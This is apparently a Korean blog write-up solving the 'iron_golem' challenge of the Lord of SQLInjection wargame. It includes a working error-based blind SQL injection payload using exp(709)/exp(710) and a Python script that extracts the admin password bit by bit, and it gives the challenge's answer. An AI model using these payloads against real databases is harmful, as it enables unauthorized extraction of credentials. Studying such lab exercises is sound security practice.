문제를 보면
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
부분이 삭제되어 있고
if(mysqli_error($db)) exit(mysqli_error($db));
부분이 들어가있음을 알 수 있다.
따라서 error based로 진행해야함을 알 수 있다.
(와 ) , _가 막혀있기 때문에 단순히 union based로 진행할 수 없으므로 error baed로 진행하였다.
어떤 함수를 사용할까 구글링하다가 exp를 이용하여 error based를 진행하는 문서를 발견하였다.
( https://www.exploit-db.com/docs/english/37953-mysql-error-based-sql-injection-using-exp.pdf )
자세한 사항은 추후 공부하기로 하고 일단, exp(709)의 경우 에러가 발생하지 않지만 exp(710)을 할 경우에는 에러가 발생하는 것을 확인할 수 있었고 if문을 활용하여 해당 방법을 이용하여 pw를 뽑아보았다.
일단 길이를 확인해보았더니 68자로 떴다.
길이 :
이전 문제와 동일하게 ascii로 하면 제대로 뜨지 않고 ord로 하였을 때 10000을 넘는 값을 가지는 것을 통해 한글로 되어있음을 알고 코딩을 통해 값을 뽑아내었다.
https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=1%27+or+id=%27admin%27+and+if(ord(substr(pw,1,1))=47336,exp(709),exp(710))%23
첫번째는 '루'임을 확인
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | import urllib2 silnex='' url="https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php" for chr_l in range(1,18): binary='' for bin_l in range(1,17): param="?pw=1%27+or+id=%27admin%27+and+if(1=mid(lpad(bin(ord(mid(pw,"+str(chr_l)+",1))),16,0),"+str(bin_l)+",1),exp(709),exp(710))%23" req=urllib2.Request(url+param) req.add_header('cookie','PHPSESSID=hvdn57171simgikg18kbppcan0') if 'DOUBLE value' in urllib2.urlopen(req).read(): binary+='0' else: binary+='1' print binary silnex = silnex+(' %d' % int(binary,2)) print "[+] " + silnex print "[+]Flag : " + silnex | cs |
해당 방식을 이용해 코드를 작성하여 ascii 코드로 값들을 뽑아내 https://www.browserling.com/tools/ascii-to-text 사이트에서 복호화하였다.
답 : https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=루비꺼야!빼애애애애애애애액!!!
참고)
error based : https://www.exploit-db.com/docs/english/37953-mysql-error-based-sql-injection-using-exp.pdf
'Solve Problem > LOS' 카테고리의 다른 글
[LOS] hell_fire 문제 풀이 (0) | 2019.06.09 |
---|---|
[LOS] dark_eyes 문제풀이 (0) | 2019.06.02 |
[LOS] 문제풀이 11번 - 20번 (0) | 2019.05.26 |
[LOS] 문제풀이 1번 - 10번 (0) | 2019.05.10 |
[LOS] 22번 문제 (0) | 2018.03.02 |